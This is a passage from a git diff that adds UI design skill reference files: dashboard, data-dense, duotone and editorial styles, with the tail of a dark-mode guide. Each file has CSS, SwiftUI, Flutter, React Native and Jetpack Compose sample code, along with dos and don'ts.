darkColors = darkColorScheme( + background = Color(0xFF121212), + surface = Color(0xFF1E1E1E), + primary = Color(0xFFBB86FC), + onPrimary = Color.Black, + onBackground = Color.White.copy(alpha = 0.87f), + onSurface = Color.White.copy(alpha = 0.87f) + ) + + MaterialTheme(colorScheme = darkColors) { + Column( + modifier = Modifier + .fillMaxSize() + .background(MaterialTheme.colorScheme.background) + .padding(16.dp) + ) { + Card( + colors = CardDefaults.cardColors(containerColor = MaterialTheme.colorScheme.surface), + shape = RoundedCornerShape(12.dp), + border = BorderStroke(1.dp, Color.White.copy(alpha = 0.05f)) + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text("Elevation via Lightness", + style = MaterialTheme.typography.titleMedium, + color = MaterialTheme.colorScheme.onSurface) + Spacer(Modifier.height(8.dp)) + Text("Elevated surfaces use lighter greys.", + style = MaterialTheme.typography.bodyMedium, + color = MaterialTheme.colorScheme.onSurface.copy(alpha = 0.6f)) + } + } + + Spacer(Modifier.height(20.dp)) + + Button( + onClick = {}, + colors = ButtonDefaults.buttonColors( + containerColor = MaterialTheme.colorScheme.primary, + contentColor = MaterialTheme.colorScheme.onPrimary + ), + modifier = Modifier.fillMaxWidth().height(50.dp) + ) { + Text("Desaturated Accent", fontWeight = FontWeight.Bold) + } + } + } +} +``` +- Material 3 handles Dark Mode semantics perfectly. Define your `darkColorScheme`. +- Use `Color(0xFF1E1E1E)` for `surface` and `Color(0xFF121212)` for `background`. Compose will automatically map these to `Card`s and Scaffolds. + +## Do's and Don'ts +- **DO**: Meet WCAG contrast standards. Just because it's dark doesn't mean the text should be illegibly dim. +- **DON'T**: Use bright, highly saturated primary colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/dashboard-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/dashboard-design/SKILL.md new file mode 100644 index 00000000..ad805ccc --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/dashboard-design/SKILL.md @@ -0,0 +1,331 @@ +--- +name: dashboard-design +description: Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Dashboard Design + +> "Data at a glance. Organized, scannable, and highly functional." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Modular Grid**: The screen is broken down into functional "widgets" or cards. Usually a sidebar on the left and a top nav. +2. **Data Hierarchy**: The most important numbers (KPIs) are large and usually at the top. Charts take up the middle, and lists/tables are at the bottom. +3. **Muted Backgrounds**: A soft grey or off-white background so the white data cards stand out clearly. + +## Visual DNA +- **Colors**: **Minimalist Slate** or **Earth-Grounded Elegance**. Avoid too many colors. Use red/green strictly for positive/negative trends. +- **Typography**: Clean, tabular sans-serifs (`Inter`, `Roboto Mono` for numbers). +- **Styling**: Very subtle shadows or 1px borders to separate cards. + +## Web Implementation +- Use CSS Grid for the macro layout (Sidebar, Header, Main). +- **CSS Example**: +```css +body { + background-color: #F8F9FA; + color: #212529; + font-family: 'Inter', sans-serif; + margin: 0; +} + +.dashboard-layout { + display: grid; + grid-template-columns: 250px 1fr; + grid-template-rows: 70px 1fr; + height: 100vh; +} + +.sidebar { + grid-row: 1 / 3; + background-color: #ffffff; + border-right: 1px solid #e9ecef; + padding: 20px; +} + +.header { + background-color: #ffffff; + border-bottom: 1px solid #e9ecef; + padding: 0 30px; + display: flex; + align-items: center; +} + +.main-content { + padding: 30px; + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 20px; + overflow-y: auto; +} + +/* KPI Card */ +.kpi-card { + background: #fff; + border-radius: 8px; + padding: 24px; + border: 1px solid #e9ecef; + box-shadow: 0 2px 4px rgba(0,0,0,0.02); +} + +.kpi-title { font-size: 0.9rem; color: #6c757d; } +.kpi-value { font-size: 2rem; font-weight: 700; margin-top: 8px; } +.kpi-trend.positive { color: #28a745; } +``` + +## App Implementation + +### SwiftUI +```swift +struct DashboardView: View { + // For iPad/Mac, NavigationSplitView is ideal. + // For iPhone, we use a scrolling VGrid. + let columns = [ + GridItem(.adaptive(minimum: 150), spacing: 16) + ] + + var body: some View { + NavigationView { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + KPICard(title: "Revenue", value: "$45,231", trend: "+12.5%", isPositive: true) + KPICard(title: "Active Users", value: "2,405", trend: "+4.1%", isPositive: true) + KPICard(title: "Churn Rate", value: "1.2%", trend: "-0.4%", isPositive: false) + KPICard(title: "Avg. Session", value: "4m 12s", trend: "+0.1%", isPositive: true) + } + .padding() + + // Placeholder for Chart + RoundedRectangle(cornerRadius: 12) + .fill(Color.white) + .frame(height: 250) + .overlay(Text("Chart Area").foregroundColor(.gray)) + .padding(.horizontal) + } + .background(Color(UIColor.systemGroupedBackground)) + .navigationTitle("Overview") + } + } +} + +struct KPICard: View { + let title: String + let value: String + let trend: String + let isPositive: Bool + + var body: some View { + VStack(alignment: .leading, spacing: 8) { + Text(title).font(.subheadline).foregroundColor(.secondary) + Text(value).font(.title2).fontWeight(.bold) + Text(trend) + .font(.caption) + .fontWeight(.semibold) + .foregroundColor(isPositive ? .green : .red) + } + .padding() + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(12) + .shadow(color: Color.black.opacity(0.02), radius: 4, y: 2) + } +} +``` +- Dashboards require `.adaptive` grids. `LazyVGrid` handles rearranging 4 cards in a row on iPad down to 2 cards on iPhone automatically. +- Use `Color(UIColor.systemGroupedBackground)` to provide that subtle off-white contrast against stark white cards. + +### Flutter +```dart +class DashboardScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF8F9FA), + appBar: AppBar( + title: const Text('Overview', style: TextStyle(color: Colors.black)), + backgroundColor: Colors.white, + elevation: 1, + ), + // On tablets, use a Row with NavigationRail. On mobile, use Drawer. + drawer: const Drawer(), + body: CustomScrollView( + slivers: [ + SliverPadding( + padding: const EdgeInsets.all(16), + sliver: SliverGrid.extent( + maxCrossAxisExtent: 200, // Adapts layout based on width + mainAxisSpacing: 16, + crossAxisSpacing: 16, + childAspectRatio: 1.5, + children: [ + _buildKPI('Revenue', '\$45,231', '+12.5%', true), + _buildKPI('Active Users', '2,405', '+4.1%', true), + _buildKPI('Churn Rate', '1.2%', '-0.4%', false), + _buildKPI('Avg. Session', '4m 12s', '+0.1%', true), + ], + ), + ), + SliverPadding( + padding: const EdgeInsets.symmetric(horizontal: 16), + sliver: SliverToBoxAdapter( + child: Container( + height: 250, + decoration: BoxDecoration(color: Colors.white, borderRadius: BorderRadius.circular(12)), + child: const Center(child: Text('Chart Area', style: TextStyle(color: Colors.grey))), + ), + ), + ), + ], + ), + ); + } + + Widget _buildKPI(String title, String value, String trend, bool isPositive) { + return Container( + padding: const EdgeInsets.all(16), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(12), + border: Border.all(color: Colors.grey[200]!), + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Text(title, style: const TextStyle(color: Colors.grey, fontSize: 14)), + const SizedBox(height: 8), + Text(value, style: const TextStyle(fontSize: 24, fontWeight: FontWeight.bold)), + Text(trend, style: TextStyle(color: isPositive ? Colors.green : Colors.red, fontWeight: FontWeight.w600)), + ], + ), + ); + } +} +``` +- `SliverGrid.extent` with a `maxCrossAxisExtent` is the responsive magic bullet for Flutter dashboards. It handles varying screen widths flawlessly. +- For charts, the `fl_chart` package is the gold standard in Flutter. + +### React Native +```jsx +const DashboardScreen = () => { + return ( + <ScrollView style={{ flex: 1, backgroundColor: '#F8F9FA' }}> + <View style={{ padding: 16, flexDirection: 'row', flexWrap: 'wrap', gap: 16 }}> + <KPICard title="Revenue" value="$45,231" trend="+12.5%" isPositive={true} /> + <KPICard title="Users" value="2,405" trend="+4.1%" isPositive={true} /> + <KPICard title="Churn" value="1.2%" trend="-0.4%" isPositive={false} /> + <KPICard title="Session" value="4m 12s" trend="+0.1%" isPositive={true} /> + </View> + + <View style={{ paddingHorizontal: 16, paddingBottom: 32 }}> + <View style={{ height: 250, backgroundColor: '#FFF', borderRadius: 12, justifyContent: 'center', alignItems: 'center' }}> + <Text style={{ color: '#999' }}>Chart Area</Text> + </View> + </View> + </ScrollView> + ); +}; + +const KPICard = ({ title, value, trend, isPositive }) => ( + <View style={{ + backgroundColor: '#FFF', + padding: 16, + borderRadius: 8, + borderWidth: 1, + borderColor: '#E9ECEF', + flexBasis: '47%', // roughly half width minus gap + minWidth: 150 + }}> + <Text style={{ color: '#6C757D', fontSize: 14, marginBottom: 4 }}>{title}</Text> + <Text style={{ fontSize: 22, fontWeight: '700', marginBottom: 4 }}>{value}</Text> + <Text style={{ color: isPositive ? '#28A745' : '#DC3545', fontWeight: '600', fontSize: 12 }}>{trend}</Text> + </View> +); +``` +- To make responsive flex grids in React Native, use `flexDirection: 'row'`, `flexWrap: 'wrap'`, and set the children to `flexBasis: '47%'`. +- For heavy data visualization, look into `victory-native` or `@shopify/react-native-skia`. + +### Jetpack Compose +```kotlin +@Composable +fun DashboardScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFFF8F9FA)) + .verticalScroll(rememberScrollState()) + ) { + // Top App Bar substitute + Text( + text = "Overview", + style = MaterialTheme.typography.headlineSmall, + fontWeight = FontWeight.Bold, + modifier = Modifier.padding(16.dp) + ) + + // KPI Grid + LazyVerticalGrid( + columns = GridCells.Adaptive(minSize = 150.dp), + contentPadding = PaddingValues(horizontal = 16.dp), + horizontalArrangement = Arrangement.spacedBy(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp), + modifier = Modifier.heightIn(max = 400.dp) // Bound the grid height in scrollview + ) { + item { KPICard("Revenue", "$45,231", "+12.5%", true) } + item { KPICard("Active Users", "2,405", "+4.1%", true) } + item { KPICard("Churn Rate", "1.2%", "-0.4%", false) } + item { KPICard("Avg. Session", "4m 12s", "+0.1%", true) } + } + + Spacer(Modifier.height(16.dp)) + + // Chart Area + Box( + modifier = Modifier + .fillMaxWidth() + .padding(horizontal = 16.dp) + .height(250.dp) + .background(Color.White, RoundedCornerShape(12.dp)) + .border(1.dp, Color(0xFFE9ECEF), RoundedCornerShape(12.dp)), + contentAlignment = Alignment.Center + ) { + Text("Chart Area", color = Color.Gray) + } + + Spacer(Modifier.height(32.dp)) + } +} + +@Composable +fun KPICard(title: String, value: String, trend: String, isPositive: Boolean) { + Column( + modifier = Modifier + .background(Color.White, RoundedCornerShape(8.dp)) + .border(1.dp, Color(0xFFE9ECEF), RoundedCornerShape(8.dp)) + .padding(16.dp) + ) { + Text(title, color = Color.Gray, fontSize = 14.sp) + Spacer(Modifier.height(4.dp)) + Text(value, fontSize = 22.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(4.dp)) + Text(trend, color = if (isPositive) Color(0xFF28A745) else Color(0xFFDC3545), fontWeight = FontWeight.SemiBold, fontSize = 12.sp) + } +} +``` +- `GridCells.Adaptive(minSize = 150.dp)` creates the responsive card layout automatically. +- Warning: Nesting `LazyVerticalGrid` inside a `Column` with `.verticalScroll` can cause height calculation issues. You must use `.heightIn(max=...)` on the grid, or completely convert the entire layout to a single `LazyVerticalGrid` where the chart is just a `GridItemSpan(maxLineSpan)` element. + +## Do's and Don'ts +- **DO**: Right-align numbers in tables so they are easier to scan and compare. +- **DON'T**: Clutter cards with unnecessary decorative images. The data is the decoration. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/data-dense-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/data-dense-design/SKILL.md new file mode 100644 index 00000000..be9aa051 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/data-dense-design/SKILL.md @@ -0,0 +1,322 @@ +--- +name: data-dense-design +description: Web and App implementation guide for Data-Dense Design. Trigger when user wants professional tools, maximum information density, and expert interfaces (like Bloomberg terminals or IDEs). +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Data-Dense Design + +> "Density is a feature. For expert users, reducing clicks is more important than whitespace." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Compact Layouts**: Extremely tight margins and padding (often 2px to 4px). +2. **Monospace & Tabular Data**: Numbers must align vertically perfectly. +3. **High Utility**: Every pixel serves a functional purpose. Minimal purely decorative elements. + +## Visual DNA +- **Colors**: **Industrial Chic** (high contrast) or **Minimalist Slate**. Avoid bright backgrounds. Dark themes are heavily preferred to reduce eye strain over 8-hour sessions. +- **Typography**: Small base sizes (`11px` - `13px`). Strict use of monospace fonts (`Fira Code`, `JetBrains Mono`) for data. +- **Borders**: Thin `1px` borders (`#333` or `#e0e0e0`) are used extensively to separate tiny cells of data. + +## Web Implementation +- Tables, CSS Grid, and Flexbox with zero gap. +- **CSS Example**: +```css +body { + background-color: #1e1e1e; /* IDE Dark */ + color: #cccccc; + font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; + font-size: 12px; /* Very small */ + margin: 0; +} + +.dense-toolbar { + display: flex; + background-color: #2d2d2d; + border-bottom: 1px solid #3c3c3c; + padding: 2px 4px; +} + +.dense-btn { + background: transparent; + color: #ccc; + border: 1px solid transparent; + padding: 2px 8px; + border-radius: 2px; + cursor: pointer; +} +.dense-btn:hover { + background-color: #3c3c3c; + border-color: #555; +} + +/* Dense Data Table */ +.data-table { + width: 100%; + border-collapse: collapse; + font-family: 'JetBrains Mono', monospace; +} + +.data-table th, .data-table td { + padding: 4px 8px; + border: 1px solid #3c3c3c; + text-align: right; /* Numbers align right */ +} + +.data-table tr:nth-child(even) { background-color: #252526; } +.data-table tr:hover { background-color: #094771; color: #fff; } /* Selection highlight */ +``` + +## App Implementation + +### SwiftUI +```swift +struct DataDenseView: View { + var body: some View { + ScrollView([.horizontal, .vertical]) { + Grid(horizontalSpacing: 0, verticalSpacing: 0) { + // Header Row + GridRow { + HeaderCell("SYM") + HeaderCell("BID") + HeaderCell("ASK") + HeaderCell("CHG") + } + + // Data Rows + DataRow(sym: "AAPL", bid: "173.40", ask: "173.45", chg: "+0.12", isPos: true) + DataRow(sym: "MSFT", bid: "320.10", ask: "320.15", chg: "-0.45", isPos: false) + DataRow(sym: "GOOG", bid: "135.20", ask: "135.30", chg: "+0.02", isPos: true) + } + .border(Color.gray.opacity(0.3), width: 1) + } + .background(Color(white: 0.12)) // Dark IDE background + } +} + +struct HeaderCell: View { + let text: String + init(_ text: String) { self.text = text } + var body: some View { + Text(text) + .font(.system(size: 11, weight: .bold, design: .monospaced)) + .foregroundColor(.gray) + .padding(4) + .frame(minWidth: 60, alignment: .leading) + .border(Color.gray.opacity(0.3), width: 0.5) + .background(Color(white: 0.18)) + } +} + +struct DataRow: View { + let sym, bid, ask, chg: String + let isPos: Bool + var body: some View { + GridRow { + Cell(sym, color: .white) + Cell(bid, color: .white, align: .trailing) + Cell(ask, color: .white, align: .trailing) + Cell(chg, color: isPos ? .green : .red, align: .trailing) + } + } +} + +struct Cell: View { + let text: String + let color: Color + let align: Alignment + init(_ text: String, color: Color, align: Alignment = .leading) { + self.text = text; self.color = color; self.align = align + } + var body: some View { + Text(text) + .font(.system(size: 12, design: .monospaced)) + .foregroundColor(color) + .padding(4) + .frame(minWidth: 60, alignment: align) + .border(Color.gray.opacity(0.3), width: 0.5) + } +} +``` +- Use `Grid` with `0` spacing. +- Font must be `.system(..., design: .monospaced)`. +- Use a `.border()` with `0.5` width on every single cell to recreate the dense spreadsheet look. + +### Flutter +```dart +class DataDenseScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF1E1E1E), + body: SingleChildScrollView( + scrollDirection: Axis.vertical, + child: SingleChildScrollView( + scrollDirection: Axis.horizontal, + child: Theme( + // Override theme specifically to make the table hyper-dense + data: Theme.of(context).copyWith( + dividerColor: Colors.grey[800], + ), + child: DataTable( + headingRowHeight: 28, // Extremely dense + dataRowMinHeight: 24, + dataRowMaxHeight: 24, // Extremely dense + columnSpacing: 16, + border: TableBorder.all(color: Colors.grey[800]!, width: 1), + columns: const [ + DataColumn(label: Text('SYM', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono'))), + DataColumn(label: Text('BID', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono')), numeric: true), + DataColumn(label: Text('ASK', style: TextStyle(color: Colors.grey, fontSize: 11, fontFamily: 'RobotoMono')), numeric: true), + ], + rows: [ + _buildRow('AAPL', '173.40', '173.45'), + _buildRow('MSFT', '320.10', '320.15'), + _buildRow('GOOG', '135.20', '135.30'), + ], + ), + ), + ), + ), + ); + } + + DataRow _buildRow(String sym, String bid, String ask) { + const style = TextStyle(color: Colors.white, fontSize: 12, fontFamily: 'RobotoMono'); + return DataRow( + cells: [ + DataCell(Text(sym, style: style)), + DataCell(Text(bid, style: style)), + DataCell(Text(ask, style: style)), + ], + ); + } +} +``` +- Flutter's `DataTable` is perfect, but you must manually crush the `headingRowHeight` and `dataRowHeight` down from their Material defaults (which are huge). +- Wrap in dual `SingleChildScrollView` to allow panning around large data sets. + +### React Native +```jsx +const DataDenseScreen = () => { + return ( + <ScrollView style={{ backgroundColor: '#1E1E1E', flex: 1 }}> + <ScrollView horizontal> + <View style={{ borderWidth: 1, borderColor: '#333' }}> + {/* Header */} + <View style={{ flexDirection: 'row', backgroundColor: '#2D2D2D' }}> + <HeaderCell text="SYM" width={60} /> + <HeaderCell text="BID" width={80} align="right" /> + <HeaderCell text="ASK" width={80} align="right" /> + <HeaderCell text="CHG" width={60} align="right" /> + </View> + + {/* Rows */} + <DataRow sym="AAPL" bid="173.40" ask="173.45" chg="+0.12" isPos={true} /> + <DataRow sym="MSFT" bid="320.10" ask="320.15" chg="-0.45" isPos={false} /> + </View> + </ScrollView> + </ScrollView> + ); +}; + +const HeaderCell = ({ text, width, align = 'left' }) => ( + <View style={{ width, padding: 4, borderWidth: 0.5, borderColor: '#333' }}> + <Text style={{ color: '#999', fontSize: 11, fontFamily: 'monospace', textAlign: align, fontWeight: 'bold' }}> + {text} + </Text> + </View> +); + +const DataRow = ({ sym, bid, ask, chg, isPos }) => ( + <View style={{ flexDirection: 'row' }}> + <Cell text={sym} width={60} /> + <Cell text={bid} width={80} align="right" /> + <Cell text={ask} width={80} align="right" /> + <Cell text={chg} width={60} align="right" color={isPos ? '#4CAF50' : '#F44336'} /> + </View> +); + +const Cell = ({ text, width, align = 'left', color = '#CCC' }) => ( + <View style={{ width, padding: 4, borderWidth: 0.5, borderColor: '#333' }}> + <Text style={{ color, fontSize: 12, fontFamily: 'monospace', textAlign: align }}> + {text} + </Text> + </View> +); +``` +- React Native doesn't have a native Table component, so you must construct a grid using `flexDirection: 'row'` and strict `width` properties on cells. +- Double scroll views (one vertical, one horizontal inside it) are standard for mobile data tables. + +### Jetpack Compose +```kotlin +@Composable +fun DataDenseScreen() { + val scrollStateHorizontal = rememberScrollState() + val scrollStateVertical = rememberScrollState() + + Box( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF1E1E1E)) + .verticalScroll(scrollStateVertical) + .horizontalScroll(scrollStateHorizontal) + .padding(8.dp) + ) { + Column(modifier = Modifier.border(1.dp, Color(0xFF333333))) { + // Header + Row(modifier = Modifier.background(Color(0xFF2D2D2D))) { + Cell("SYM", 60.dp, Color.Gray, true) + Cell("BID", 80.dp, Color.Gray, true, TextAlign.End) + Cell("ASK", 80.dp, Color.Gray, true, TextAlign.End) + } + + // Rows + DataRow("AAPL", "173.40", "173.45") + DataRow("MSFT", "320.10", "320.15") + } + } +} + +@Composable +fun DataRow(sym: String, bid: String, ask: String) { + Row { + Cell(sym, 60.dp, Color.White, false) + Cell(bid, 80.dp, Color.White, false, TextAlign.End) + Cell(ask, 80.dp, Color.White, false, TextAlign.End) + } +} + +@Composable +fun Cell(text: String, width: Dp, color: Color, isHeader: Boolean, align: TextAlign = TextAlign.Start) { + Text( + text = text, + color = color, + fontSize = if (isHeader) 11.sp else 12.sp, + fontWeight = if (isHeader) FontWeight.Bold else FontWeight.Normal, + fontFamily = FontFamily.Monospace, + textAlign = align, + modifier = Modifier + .width(width) + .border(0.5.dp, Color(0xFF333333)) + .padding(4.dp) + ) +} +``` +- Chain `.verticalScroll()` and `.horizontalScroll()` on the root `Box`. +- Compose allows `.border()` directly on `Text` modifiers, making spreadsheet grids very clean to implement without wrapping everything in `Box`es. + +## Do's and Don'ts +- **DO**: Use color coding (red/green) for data deltas, but keep the saturation muted to prevent eye fatigue. +- **DON'T**: Use large padding or giant H1 headers. Expert users already know what screen they are on. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/duotone-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/duotone-design/SKILL.md new file mode 100644 index 00000000..d2bebbda --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/duotone-design/SKILL.md @@ -0,0 +1,248 @@ +--- +name: duotone-design +description: Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Duotone Design + +> "Striking contrast. Photography and UI stripped down to exactly two clashing or complementary colors." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Two Colors Only**: The entire design is mapped to a dark color (replacing blacks/shadows) and a light color (replacing whites/highlights). +2. **Treated Imagery**: All photos MUST be processed into the duotone palette. +3. **Bold, Flat Typography**: Text is usually massive, solid, and uses one of the two colors. + +## Visual DNA +- **Colors**: Very high contrast pairs. Navy and Peach, Deep Purple and Neon Green, Crimson and Cream. Look at **Industrial Chic** for inspiration. +- **Typography**: Heavy, condensed sans-serifs (e.g., `League Gothic`, `Oswald`). +- **Imagery**: High-contrast, gritty photography works best when mapped to duotone. + +## Web Implementation +- Modern CSS can achieve image duotone effects without Photoshop, using `mix-blend-mode` and filters. +- **CSS Example**: +```css +:root { + --duo-dark: #1E0045; /* Deep Purple */ + --duo-light: #CCFF00; /* Neon Lime */ +} + +body { + background-color: var(--duo-dark); + color: var(--duo-light); +} + +/* CSS Duotone Image Effect */ +.duotone-container { + position: relative; + width: 100%; + height: 400px; + background-color: var(--duo-light); /* Base color */ +} + +.duotone-container img { + width: 100%; + height: 100%; + object-fit: cover; + /* Convert image to grayscale, increase contrast */ + filter: grayscale(100%) contrast(1.5); + /* Multiply the grayscale image against the light background */ + mix-blend-mode: multiply; +} + +.duotone-container::after { + /* Overlay the dark color using screen/lighten */ + content: ''; + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background-color: var(--duo-dark); + mix-blend-mode: screen; +} + +.duotone-btn { + background: var(--duo-light); + color: var(--duo-dark); + border: none; + font-weight: 900; + text-transform: uppercase; + padding: 16px 32px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct DuotoneImage: View { + let duoDark = Color(red: 0.12, green: 0.0, blue: 0.27) // #1E0045 + let duoLight = Color(red: 0.8, green: 1.0, blue: 0.0) // #CCFF00 + + var body: some View { + ZStack { + // Background base color + duoLight.ignoresSafeArea() + + // Image processing + Image("sample_photo") + .resizable() + .scaledToFill() + .grayscale(1.0) + .contrast(1.5) + .colorMultiply(duoLight) // Multiplies the light color into the grays + + // Dark color overlay + duoDark + .blendMode(.screen) // Equivalent to CSS screen blend mode + .allowsHitTesting(false) + } + .frame(height: 400) + .clipped() + } +} +``` +- Real-time image processing is easy in SwiftUI. +- Convert to `.grayscale()`, boost `.contrast()`, then use `.colorMultiply()` and `.blendMode(.screen)` layers to map the two colors exactly like CSS `mix-blend-mode`. + +### Flutter +```dart +class DuotoneImage extends StatelessWidget { + final Color duoDark = const Color(0xFF1E0045); + final Color duoLight = const Color(0xFFCCFF00); + + @override + Widget build(BuildContext context) { + return Container( + height: 400, + width: double.infinity, + color: duoLight, + child: Stack( + fit: StackFit.expand, + children: [ + // 1. Grayscale & Contrast (using ColorFilter matrix) + // 2. Light Color Multiply + ColorFiltered( + colorFilter: ColorFilter.mode(duoLight, BlendMode.multiply), + child: ColorFiltered( + // Simple grayscale matrix + colorFilter: const ColorFilter.matrix([ + 0.2126, 0.7152, 0.0722, 0, 0, + 0.2126, 0.7152, 0.0722, 0, 0, + 0.2126, 0.7152, 0.0722, 0, 0, + 0, 0, 0, 1, 0, + ]), + child: Image.asset('assets/sample_photo.jpg', fit: BoxFit.cover), + ), + ), + // 3. Dark Color Screen Overlay + ColorFiltered( + colorFilter: ColorFilter.mode(duoDark, BlendMode.screen), + child: Container(color: Colors.transparent), // Applies filter to stack below + ), + ], + ), + ); + } +} +``` +- Flutter requires stacking `ColorFiltered` widgets. +- Use a `ColorFilter.matrix` to convert the image to grayscale first. +- Apply `BlendMode.multiply` with the light color, then overlay the dark color using `BlendMode.screen`. + +### React Native +```jsx +// Real-time CSS-like blend modes do NOT exist natively in React Native. +// You must use react-native-skia or pre-process images. + +import { Canvas, Image, useImage, ColorMatrix } from "@shopify/react-native-skia"; + +const DuotoneImage = () => { + const image = useImage(require('./sample_photo.jpg')); + + if (!image) return null; + + // Skia allows custom SVG/CSS style color matrices. + // Building a true duotone matrix requires math mapping black to duoDark + // and white to duoLight. + + return ( + <View style={{ height: 400, backgroundColor: '#CCFF00' }}> + <Canvas style={{ flex: 1 }}> + <Image image={image} x={0} y={0} width={400} height={400} fit="cover"> + {/* Note: In production, you would construct a specific + ColorMatrix to map the luminance to the two hex colors. */} + <ColorMatrix + matrix={[ + -1, 0, 0, 0, 255, + 0, -1, 0, 0, 255, + 0, 0, -1, 0, 255, + 0, 0, 0, 1, 0, + ]} + /> + </Image> + </Canvas> + </View> + ); +}; +``` +- **Critical Limitation**: Standard React Native `<Image>` cannot do duotone blending. +- **Solution 1**: Use `@shopify/react-native-skia` to apply low-level color matrices and blend modes. +- **Solution 2**: Pre-process all imagery in Photoshop/Figma before importing into the app. This is the safest and most performant route. + +### Jetpack Compose +```kotlin +@Composable +fun DuotoneImage() { + val duoDark = Color(0xFF1E0045) + val duoLight = Color(0xFFCCFF00) + + // A ColorMatrix to map luminance to the two colors is required for true duotone. + // For simplicity, we use BlendModes here to approximate the CSS multiply/screen effect. + Box(modifier = Modifier + .fillMaxWidth() + .height(400.dp) + .background(duoLight) + ) { + Image( + painter = painterResource(id = R.drawable.sample_photo), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier.matchParentSize(), + colorFilter = ColorFilter.colorMatrix(ColorMatrix().apply { + setToSaturation(0f) // Grayscale + }) + ) + + // Multiply light color + Spacer(modifier = Modifier + .matchParentSize() + .background(duoLight) + .graphicsLayer { blendMode = BlendMode.Multiply } + ) + + // Screen dark color + Spacer(modifier = Modifier + .matchParentSize() + .background(duoDark) + .graphicsLayer { blendMode = BlendMode.Screen } + ) + } +} +``` +- Use `ColorFilter.colorMatrix` with `setToSaturation(0f)` to make the image grayscale. +- Use `Spacer` overlays with `Modifier.graphicsLayer { blendMode = BlendMode... }` to apply the dual color mapping. +- Similar to Flutter, layer `Multiply` (light) and `Screen` (dark) to achieve the effect. + +## Do's and Don'ts +- **DO**: Ensure the dark color is dark enough to be legible when used as text against the light color. +- **DON'T**: Add a third color. It instantly ruins the aesthetic. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/editorial-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/editorial-design/SKILL.md new file mode 100644 index 00000000..bb2db71a --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/editorial-design/SKILL.md @@ -0,0 +1,328 @@ +--- +name: editorial-design +description: Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Editorial Design + +> "The digital magazine. Sophisticated typography pairings and deliberate, elegant pacing." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Serif & Sans-Serif Pairing**: The hallmark of editorial design. A beautiful, high-contrast serif for headings, paired with a clean sans-serif for body copy. +2. **Large Drop Caps & Pull Quotes**: Typographic flourishes that guide the eye and break up long blocks of text. +3. **Columnar Layouts**: Content flows in distinct columns, often with fine lines (rules) separating them. + +## Visual DNA +- **Colors**: **Modern Editorial** or **Yacht Club**. Warm, paper-like backgrounds with deep, ink-like blacks or navy blues. +- **Typography**: + - Headlines: `Playfair Display`, `Merriweather`, `Bodoni`. + - Body: `Lato`, `Open Sans`, `Source Sans Pro`. +- **Borders**: Thin, elegant horizontal lines (hairlines) used to separate sections. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #F9F9F9; /* Paper white */ + color: #121212; /* Ink black */ +} + +/* Typography Pairing */ +.editorial-headline { + font-family: 'Playfair Display', serif; + font-size: 4rem; + font-weight: 700; + font-style: italic; + margin-bottom: 24px; + border-bottom: 1px solid #121212; + padding-bottom: 24px; +} + +.editorial-body { + font-family: 'Lato', sans-serif; + font-size: 1.1rem; + line-height: 1.8; + column-count: 2; /* Magazine columns */ + column-gap: 40px; +} + +/* 